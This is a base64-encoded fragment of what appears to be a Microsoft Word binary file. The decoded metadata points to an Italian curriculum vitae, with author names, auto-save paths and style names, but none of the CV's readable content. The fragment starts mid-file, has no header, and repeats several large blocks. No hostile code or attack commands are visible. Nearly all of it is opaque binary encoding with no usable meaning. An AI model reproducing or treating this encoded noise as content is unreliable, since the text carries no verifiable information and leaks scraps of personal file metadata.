ABQaAAAHAAAACQAAAAsAAAAABAAAMwcAAHUHAAAIAAAACgAAAP//BAAAAAcAVQBuAGsAbgBvAHcA bgAIAEYAYQBiAHIAaQB6AGkAbwASAFAAcgBlAC0AaQBuAHMAdABhAGwAbABlAGQAIABVAHMAZQBy AAYAcwA4ADcAOQA3ADkADwAA8DgAAAAAAAbwGAAAAAIIAAACAAAABQAAAAEAAAABAAAABgAAAEAA HvEQAAAA/////wAA/wCAgIAA9wAAEAAPAALwkgAAABAACPAIAAAAAQAAAAUEAAAPAAPwMAAAAA8A BPAoAAAAAQAJ8BAAAAAAAAAAAAAAAAAAAAAAAAAAAgAK8AgAAAAABAAABQAAAA8ABPBCAAAAEgAK 8AgAAAABBAAAAA4AAFMAC/AeAAAAvwEAABAAywEAAAAA/wEAAAgABAMJAAAAPwMBAAEAAAAR8AQA AAABAAAAewMAAAAAAAAEAAAABgAAAAoAAAASAAAAFwAAAD0AAABVAAAApAEAAKoBAAApAgAALQIA AC8CAAA5AgAAOwIAAEECAABQAgAAWwIAAGQCAABuAgAAcAIAAHcCAAAFAwAADwMAAHYDAAB8AwAA HAAHABwABwAEAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcABwD//xAAAAAM AGwAYQBpAGIAIAAtACAAQwBlAFMASQBUADUARAA6AFwAVwBJAE4ARABPAFcAUwBcAFMAYQBsAHYA YQB0AGEAZwBnAGkAbwAgAGEAdQB0AG8AbQBhAHQAaQBjAG8AIABkAGkAIAAgACAARABvAGMAdQBt AGUAbgB0AG8AMQAuAGEAcwBkAAwAbABhAGkAYgAgAC0AIABDAGUAUwBJAFQAEQBBADoAXABjAHUA cgByAGkAYwB1AGwAdQBtAC4AZABvAGMABgBzADgANwA5ADcAOQARAEEAOgBcAGMAdQByAHIAaQBj AHUAbAB1AG0ALgBkAG8AYwAIAEYAYQBiAHIAaQB6AGkAbwAiAEQAOgBcAEQAbwBjAHUAbQBlAG4A dABpAFwAQQBuAGcAZQBsAG8AXABjAHUAcgByAGkAYwB1AGwAdQBtAC4AZABvAGMACABGAGEAYgBy AGkAegBpAG8AOgBDADoAXAB3AGkAbgBkAG8AdwBzAFwAVABFAE0AUABcAFMAYQBsAHYAYQB0AGEA ZwBnAGkAbwAgAGEAdQB0AG8AbQBhAHQAaQBjAG8AIABkAGkAIAAgACAAYwB1AHIAcgBpAGMAdQBs AHUAbQAuAGEAcwBkAAgARgBhAGIAcgBpAHoAaQBvACgARAA6AFwARABvAGMAdQBtAGUAbgB0AGkA XABBAG4AZwBlAGwAbwBcAEMAdQByAHIAaQBjAHUAbAB1AG0AIAB2AGkAdABhAGUALgBkAG8AYwAI AEYAYQBiAHIAaQB6AGkAbwAoAEQAOgBcAEQAbwBjAHUAbQBlAG4AdABpAFwAQQBuAGcAZQBsAG8A XABDAHUAcgByAGkAYwB1AGwAdQBtACAAdgBpAHQAYQBlAC4AZABvAGMACABGAGEAYgByAGkAegBp AG8AKABEADoAXABEAG8AYwB1AG0AZQBuAHQAaQBcAEEAbgBnAGUAbABvAFwAQwB1AHIAcgBpAGMA dQBsAHUAbQAgAHYAaQB0AGEAZQAuAGQAbwBjAAMApAO7JgEAEAT/DwAAAAAAAAAAAAAAAAAAAAAB AP8Nfy0BABAE/w8AAAAAAAAAAAAAAAAAAAAAAQDAaaQ+AQAQBP8PAAAAAAAAAAAAAAAAAAAAAAEA AQAAABcAAAAAAAAAAAAAAAAAAAAAAAAACxAAAA+EaAERhJj+FcYFAAFoAQZPSgEAUUoBAG8oAAEA t/ABAAAAFwAAAAAAAAAAAAAAAAAAAAAAAAALEAAAD4RoARGEmP4VxgUAAWgBBk9KAQBRSgEAbygA AQC38AEAAAAXAAAAAAAAAAAAAAAAAAAAAAAAAAsQAAAPhGgBEYSY/hXGBQABaAEGT0oBAFFKAQBv KAABALfwAwAAAP8Nfy0AAAAAAAAAAAAAAACkA7smAAAAAAAAAAAAAAAAwGmkPgAAAAAAAAAAAAAA AP//////////////////AwAAAAAAAAAAAP9AAYABABIAAAASAAAA0DmDAAEAAQASAAAAAAAAABIA AAAAAAAAAQkAFcYGAW4EAAAAAQgAD4QAABGEAAABsABDJABFxoAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGLKJwD/ /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALQAAAAAAAAABEAAAASAAAAIgAA ACMAAAApAAAANQAAADYAAABYAAAAWQAAAF8AAABgAAAAZgAAAHUDAAB2AwAAeQMAAHoDAAB7AwAA MQAACABAAAAwACIIAEABADEAJAgAQAMAMABECABAAwAxAAAaAAAAADAARggAQAAAMQAMGgAAAAAw AGAIAEAAADEADhoAAAAAMQC0CABAAAAxABAaAAAAADEApAgAQAUAMADACABAAAAwAOgOAEAAADAA 4A4AQAAAMADmDgBAAAAwAOgOAEAAAAQAAABHFpABAAACAgYDBQQFAgMEAwAAAAAAAAAAAAAAAAAA AAEAAAAAAAAAVABpAG0AZQBzACAATgBlAHcAIABSAG8AbQBhAG4AAAA1FpABAgAFBQECAQcGAgUH AAAAAAAAABAAAAAAAAAAAAAAAIAAAAAAUwB5AG0AYgBvAGwAAAAzJpABAAACCwYEAgICAgIEAwAA AAAAAAAAAAAAAAAAAAEAAAAAAAAAQQByAGkAYQBsAAAAPyaQAQAAAgsKBAIBAgICBIcCAAAAAAAA AAAAAAAAAACfAAAAAAAAAEEAcgBpAGEAbAAgAEIAbABhAGMAawAAACIABABxCIgYAADEAgAAGwEA AAAAyYRFRsuERUYAAAAABQACAAAAgAAAANoCAAABAAEAAAAEAAMQBgAAAAAAAAAAAAAAAQABAAAA AQAAAAAAAAAhAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAClBsAHtAC0AIAAEjAAABAA GQBkAAAAGQAAAIADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAA//8SAAAAAAAAAAQARgByAGEAegAAAAAAAAAMAGwA YQBpAGIAIAAtACAAQwBlAFMASQBUAAgARgBhAGIAcgBpAHoAaQBvAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAsAAAAAAAAAHhAAAAEAAAAFAAAARnJhegAMEAAAAgAAAB4AAAAGAAAAVGl0bGUA AwAAAAEAAAAAmAAAAAMAAAAAAAAAIAAAAAEAAAA2AAAAAgAAAD4AAAABAAAAAgAAAAoAAABfUElE X0dVSUQAAgAAAOQEAABBAAAATgAAAHsAOAA4ADEAMwAxADIARQA0AC0AMgBBADYAMgAtADEAMQBE ADQALQBCADgARgA4AC0AMAAwADAAMABDADAAQgBBADkAQgBGADMAfQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADspcEASQAQBAAAJBK/AAAAAAAAEAAAAAAABAAAdQcA AA4AYmpiarKzsrMAAAAAAAAAAAAAAAAAAAAAAAAQBBYAABwAANDZAQDQ2QEAdgMAAAAAAAAAAAAA AAAAAAAAAAAAAAAABAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAA AAAAAAAAAF0AAAAAAAAAAAAAAAAAMAIAADACAAAAAAAAMAIAAAAAAADIAgAAAAAAAMgCAAAAAAAA yAIAABQAAAAAAAAAAAAAANwCAAAAAAAAkAMAAAAAAACQAwAAAAAAAJADAAAAAAAAkAMAAAwAAACc AwAAHAAAANwCAAAAAAAAwQsAAPYAAAAoBAAAAAAAACgEAAAAAAAAKAQAAAAAAAAoBAAAAAAAACgE AAAAAAAABwUAAAAAAAAHBQAAAAAAAAcFAAAAAAAA/AkAAAIAAAD+CQAAAAAAAP4JAAAAAAAA/gkA AAAAAAD+CQAAAAAAAP4JAAAAAAAA/gkAACQAAAC3DAAA9AEAAKsOAABaAAAAIgoAAJ8BAAAAAAAA AAAAAAAAAAAAAAAAyAIAAAAAAAAHBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBQAABAAAAAcFAAAA AAAABwUAAAAAAAAHBQAAAAAAACIKAAAAAAAAoQUAAAAAAAAwAgAAAAAAADACAAAAAAAAKAQAAAAA AAAAAAAAAAAAACgEAADbAAAAzAMAAFwAAAChBQAAAAAAAKEFAAAAAAAAoQUAAAAAAAAHBQAAmgAA ADACAABsAAAAKAQAAAAAAADIAgAAAAAAACgEAAAAAAAA/AkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 3AIAAAAAAADcAgAAAAAAADACAAAAAAAAMAIAAAAAAAAwAgAAAAAAADACAAAAAAAABwUAAAAAAAD8 CQAAAAAAAKEFAAAIAwAAoQUAAAAAAACpCAAAVgAAALAJAABAAAAAnAIAACwAAADIAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AkA AAAAAAAoBAAAAAAAALgDAAAUAAAAoILiylm/vwHcAgAAtAAAAJADAAAAAAAAoQUAAAAAAADwCQAA DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAABAAAAAAAAABU DgAAEQAAAMIBAAAAAAAAAAAAAP////8AAAAAEQAAABYABQH//////////wMAAAAGCQIAAAAAAMAA AAAAAABGAAAAAAD+MXhZv78BoILiylm/vwFDAAAAgCEAAAAAAAAxAFQAYQBiAGwAZQAAAAAAAAAA AK0FAKD0o0gA6H5GAP///////////////7wyQwAAAAAAAAAAAAEAAAAAAAAADgACAQYAAAAFAAAA /////5oAAAAAAAAAUIVFAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEkAAAAFDwAAAAAAAFcAbwBy AGQARABvAGMAdQBtAGUAbgB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAShIAAAAAAABgDgAAAAAAACwN AAAaAAIBAQAAAP//////////AQAAABQAAAAQAAAAEAAAABcAAAAWAAAAAAAAAAAAAAACAAAAHgAA AAAcAAANAAAABQBTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAP////////// /////wIAAAAAAAD/AAAA/ygAAgECAAAABAAAAP////8AAAAACAAAAAAAAAAAAQAAAAAAAAAAAAAM AAAADAAAAAQAAAA6AAAAlAEAAAgAAAD//////////wMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkA AAAKAAAACwAAAAwAAAAVAAAA///////////////////////////////////////////+//////// //////////////////////////////////////8fAAAAAgAAACIAAAD9/////v////7///8jAAAA JgAAACcAAAAoAAAAKQAAACoAAAArAAAA/v///////////////////yUAAAAxAAAALwAAAP////// //////////////////////////////////////////////89AAAAPgAAAD8AAABAAAAAQQAAADAA AAD/////PAAAAP////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////wUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBu AGYAbwByAG0AYQB0AGkAbwBuAAAAAQAAAAEAAAA4AAIB////////////////AgAAAAUGAAAAAAAA AAAAAAMAAAADAAAABAYAAAAAAAAAAAAAQQAAANwBAAAAAQAAAQBDAG8AbQBwAE8AYgBqAAAAAAAB AAAAAAAAAI0DAKD0o0gA6H5GAFwOAABcDgAAAgCUmSAAbwEAAAAA1w5XJhIAAgD///////////// //8AAAAAXA4AAAsAAACqAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAawAAAAAAAAAwAFQAYQBi AGwAZQAAAAAAogAAABgAAAC4LEMAAAAAAAAAAAAsAAAAAAAAAFwOAAACAAAAdAAAAAIAAACLAAAA DgACAP///////////////ywAAAAAAAAAXA4AAAEAAABdAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADe DQAALAAAAAAAAABcDgAACAAAAD4AAAACAAAAVQAAABgAAAC4LEMAAAAAAAAAAAAsAAAAAAAAAFwO AAAMAAAAHwAAAAIAAAAAAAAA////////////////AAAAACwAAAAAAAAAXA4AAAcAAAAAAAAAAgAA ABcAAAAYAAAAuCxDAAAAAAC4MkMAgQAAAIIAAACDAAAAhAAAAIUAAAD+//////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////8BAAAA/v///wMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAK AAAACwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAAFAAAABUAAAAWAAAAFwAAABgA AAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAAIAAAACEAAAAiAAAAIwAAACQAAAAlAAAAJgAA ACcAAAAoAAAAKQAAACoAAAArAAAALAAAAC0AAAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAA0AAAA NQAAADYAAAA3AAAAOAAAADkAAAD+////OwAAADwAAAA9AAAAPgAAAD8AAABAAAAA/v///0IAAABD AAAARAAAAEUAAABGAAAARwAAAEgAAAD+////SgAAAEsAAABMAAAATQAAAE4AAABPAAAAUAAAAFEA AABSAAAAUwAAAFQAAABVAAAAVgAAAFcAAABYAAAAWQAAAFoAAABbAAAAXAAAAF0AAABeAAAAXwAA AGAAAABhAAAAYgAAAGMAAABkAAAAZQAAAGYAAABnAAAAaAAAAGkAAABqAAAAawAAAGwAAABtAAAA bgAAAG8AAABwAAAAcQAAAHIAAABzAAAAdAAAAHUAAAB2AAAAdwAAAHgAAAB5AAAAegAAAHsAAAB8 AAAAfQAAAH4AAAB/AAAAgAAAAHIAdABlAHMAdAB1AGEAbABlAAAABgA+KgFCKgJSAP5PAQACAVIA AAALAEkAbgBkAGkAcgBpAHoAegBvACAAMQAAAB0AEAADJAMbJpASZKAAAAAjJAEYhOkXGYR1BBqE 7AcADABDSg4AT0oCAFFKAgAAAAAAAQAAAAIAAAADAAAAewMAAP////8AAAAAAQD/////AAAAAAAA AAACAAAAAgAAAAEA/////wAAAAAAAAAAAAAAAAEAAAABAP////8AAAAAAAAAAAEAAAADAAAAAAAA AAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABgAAAAAAAAAACAEAAAAACAIAAAAACP//AAAAAAAA AAB7AwAAAwAAGAAAAAD/////AAAAABIAAAAjAAAANQAAAFYAAABYAAAAZwAAAHUDAAB8AwAAmAAA ABAAAAAAAAAAAIAAAACAmAAAABAAAAAAAAAAAIAAAACAmAAAABAAAAAAAAAAAIAAAACAmAAAABAA AAAAAAAAAIAAAACAngAAAAAAAAAAAAAAAIAAAACACAAAAAEAAAAAAAAAAIAAAACAnAAAAAAAAAAA AAAAAIAAAACAmAAAAAAAAAAAAAAAAIAAAACAAAQAABQaAAAGAAAAAAQAAFcFAAB0BwAAFBoAAAcA AAAJAAAACwAAAAAEAAAzBwAAdQcAAAgAAAAKAAAA//8EAAAABwBVAG4AawBuAG8AdwBuAAgARgBh AGIAcgBpAHoAaQBvABIAUAByAGUALQBpAG4AcwB0AGEAbABsAGUAZAAgAFUAcwBlAHIABgBzADgA NwA5ADcAOQAPAADwOAAAAAAABvAYAAAAAggAAAIAAAAFAAAAAQAAAAEAAAAGAAAAQAAe8RAAAAD/ ////AAD/AICAgAD3AAAQAA8AAvCSAAAAEAAI8AgAAAABAAAABQQAAA8AA/AwAAAADwAE8CgAAAAB AAnwEAAAAAAAAAAAAAAAAAAAAAAAAAACAArwCAAAAAAEAAAFAAAADwAE8EIAAAASAArwCAAAAAEE AAAADgAAUwAL8B4AAAC/AQAAEADLAQAAAAD/AQAACAAEAwkAAAA/AwEAAQAAABHwBAAAAAEAAAB7 AwAAAAAAAAQAAAAGAAAACgAAABIAAAAXAAAAPQAAAFUAAACkAQAAqgEAACkCAAAtAgAALwIAADkC AAA7AgAAQQIAAFACAABbAgAAZAIAAG4CAABwAgAAdwIAAAUDAAAPAwAAdgMAAHwDAAAcAAcAHAAH AAQABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAHAP//EAAAAAwAbABhAGkA YgAgAC0AIABDAGUAUwBJAFQANQBEADoAXABXAEkATgBEAE8AVwBTAFwAUwBhAGwAdgBhAHQAYQBn AGcAaQBvACAAYQB1AHQAbwBtAGEAdABpAGMAbwAgAGQAaQAgACAAIABEAG8AYwB1AG0AZQBuAHQA bwAxAC4AYQBzAGQADABsAGEAaQBiACAALQAgAEMAZQBTAEkAVAARAEEAOgBcAGMAdQByAHIAaQBj AHUAbAB1AG0ALgBkAG8AYwAGAHMAOAA3ADkANwA5ABEAQQA6AFwAYwB1AHIAcgBpAGMAdQBsAHUA bQAuAGQAbwBjAAgARgBhAGIAcgBpAHoAaQBvACIARAA6AFwARABvAGMAdQBtAGUAbgB0AGkAXABB AG4AZwBlAGwAbwBcAGMAdQByAHIAaQBjAHUAbAB1AG0ALgBkAG8AYwAIAEYAYQBiAHIAaQB6AGkA bwA6AEMAOgBcAHcAaQBuAGQAbwB3AHMAXABUAEUATQBQAFwAUwBhAGwAdgBhAHQAYQBnAGcAaQBv ACAAYQB1AHQAbwBtAGEAdABpAGMAbwAgAGQAaQAgACAAIABjAHUAcgByAGkAYwB1AGwAdQBtAC4A YQBzAGQACABGAGEAYgByAGkAegBpAG8AKABEADoAXABEAG8AYwB1AG0AZQBuAHQAaQBcAEEAbgBn AGUAbABvAFwAQwB1AHIAcgBpAGMAdQBsAHUAbQAgAHYAaQB0AGEAZQAuAGQAbwBjAAgARgBhAGIA cgBpAHoAaQBvACgARAA6AFwARABvAGMAdQBtAGUAbgB0AGkAXABBAG4AZwBlAGwAbwBcAEMAdQBy AHIAaQBjAHUAbAB1AG0AIAB2AGkAdABhAGUALgBkAG8AYwAIAEYAYQBiAHIAaQB6AGkAbwAoAEQA OgBcAEQAbwBjAHUAbQBlAG4AdABpAFwAQQBuAGcAZQBsAG8AXABDAHUAcgByAGkAYwB1AGwAdQBt ACAAdgBpAHQAYQBlAC4AZABvAGMAAwCkA7smAQAQBP8PAAAAAAAAAAAAAAAAAAAAAAEA/w1/LQEA EAT/DwAAAAAAAAAAAAAAAAAAAAABAMBppD4BABAE/w8AAAAAAAAAAAAAAAAAAAAAAQABAAAAFwAA AAAAAAAAAAAAAAAAAAAAAAALEAAAD4RoARGEmP4VxgUAAWgBBk9KAQBRSgEAbygAAQC38AEAAAAX AAAAAAAAAAAAAAAAAAAAAAAAAAsQAAAPhGgBEYSY/hXGBQABaAEGT0oBAFFKAQBvKAABALfwAQAA ABcAAAAAAAAAAAAAAAAAAAAAAAAACxAAAA+EaAERhJj+FcYFAAFoAQZPSgEAUUoBAG8oAAEAt/AD AAAA/w1/LQAAAAAAAAAAAAAAAKQDuyYAAAAAAAAAAAAAAADAaaQ+AAAAAAAAAAAAAAAA//////// //////////8DAAAAAAAAAAAA/0ABgAEAEgAAABIAAADQOYMAAQABABIAAAAAAAAAEgAAAAAAAAAB CQAVxgYBbgQAAAABCAAPhAAAEYQAAAGwAEMkAEXGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYsonAP//AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtAAAAAAAAAAEQAAABIAAAAiAAAAIwAAACkA AAA1AAAANgAAAFgAAABZAAAAXwAAAGAAAABmAAAAdQMAAHYDAAB5AwAAegMAAHsDAAAxAAAIAEAA ADAAIggAQAEAMQAkCABAAwAwAEQIAEADADEAABoAAAAAMABGCABAAAAxAAwaAAAAADAAYAgAQAAA MQAOGgAAAAAxALQIAEAAADEAEBoAAAAAMQCkCABABQAwAMAIAEAAADAA6A4AQAAAMADgDgBAAAAw AOYOAEAAADAA6A4AQAAABAAAAEcWkAEAAAICBgMFBAUCAwQDAAAAAAAAAAAAAAAAAAAAAQAAAAAA AABUAGkAbQBlAHMAIABOAGUAdwAgAFIAbwBtAGEAbgAAADUWkAECAAUFAQIBBwYCBQcAAAAAAAAA EAAAAAAAAAAAAAAAgAAAAABTAHkAbQBiAG8AbAAAADMmkAEAAAILBgQCAgICAgQDAAAAAAAAAAAA AAAAAAAAAQAAAAAAAABBAHIAaQBhAGwAAAA/JpABAAACCwoEAgECAgIEhwIAAAAAAAAAAAAAAAAA AJ8AAAAAAAAAQQByAGkAYQBsACAAQgBsAGEAYwBrAAAAIgAEAHEIiBgAAMQCAAAbAQAAAADJhEVG y4RFRgAAAAAFAAIAAACAAAAA2gIAAAEAAQAAAAQAAxAGAAAAAAAAAAAAAAABAAEAAAABAAAAAAAA ACEDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKUGwAe0ALQAgAASMAAAEAAZAGQAAAAZ AAAAgAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAACAAAAAAD//xIAAAAAAAAABABGAHIAYQB6AAAAAAAAAAwAbABhAGkAYgAg AC0AIABDAGUAUwBJAFQACABGAGEAYgByAGkAegBpAG8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAQAAFEEAABgBAAAcgQAAHMEAADWBAAA2QQAAO4EAADvBAAAQgUAAEQFAABW BQAAVwUAAMYFAADIBQAA1QUAAKIGAACjBgAAvwYAADEHAAAyBwAAUQcAAG8HAABwBwAAdAcAAHUH AAAiGAAAJBgAAP0A9QD97gDu/e717v3r9f3u9f3u9f3uAO4A7gAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQ0oYAAAMQ0oYAE9KAgBRSgIAAA81CIFDShgAT0oC AFFKAgAEQ0oUABscAB+wgi4gsMZBIbBuBCKwbgQjkIkFJJBuBCWwAABNACAADQAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHQHAAB1BwAAJBgAAPwAAAAAAAAAAAAAAAD8AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAMAAAMkAwACMAAwAEMAMABCAEEAOQBCAEYAMwB9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAABIAEQAKAAEAWwAPAAIAAAAAAAAAJgAAQPH/AgAmAAAABwBOAG8AcgBt AGEAbABlAAAAAgAAAAQAbUgQBDYAAUABAAIANgAAAAgAVABpAHQAbwBsAG8AIAAxAAAACAABAAYk AUAmAAwAQ0o0AE9KAwBRSgMAOgACQAEAAgA6AAAACABUAGkAdABvAGwAbwAgADIAAAAMAAIABiQB D4TEAkAmAQwAQ0oYAE9KAgBRSgIAPgADQAEAAgA+AAAACABUAGkAdABvAGwAbwAgADMAAAALAAMA AyQDBiQBQCYCAA8ANQiBQ0oYAE9KAgBRSgIAAD4ABAABAAIAPgAAAAgAVABpAHQAbwBsAG8AIAA0 AAAADwAEAAMkAwYkAQ+ExAJAJgMADABDShgAT0oCAFFKAgAAAAAAAAAAAAAATgBBQPL/oQBOAAAA HwBDAGEAcgBhAHQAdABlAHIAZQAgAHAAcgBlAGQAZQBmAGkAbgBpAHQAbwAgAHAAYQByAGEAZwBy AGEAZgBvAAAAAAAAAAAAAAAAAEgAVUCiAPEASAAAABkAQwBvAGwAbABlAGcAYQBtAGUAbgB0AG8A IABpAHAAZQAAAAAA//8SAAAAAAAAAAQARgByAGEAegAAAAAAAAAMAGwAYQBpAGIAIAAtACAAQwBl 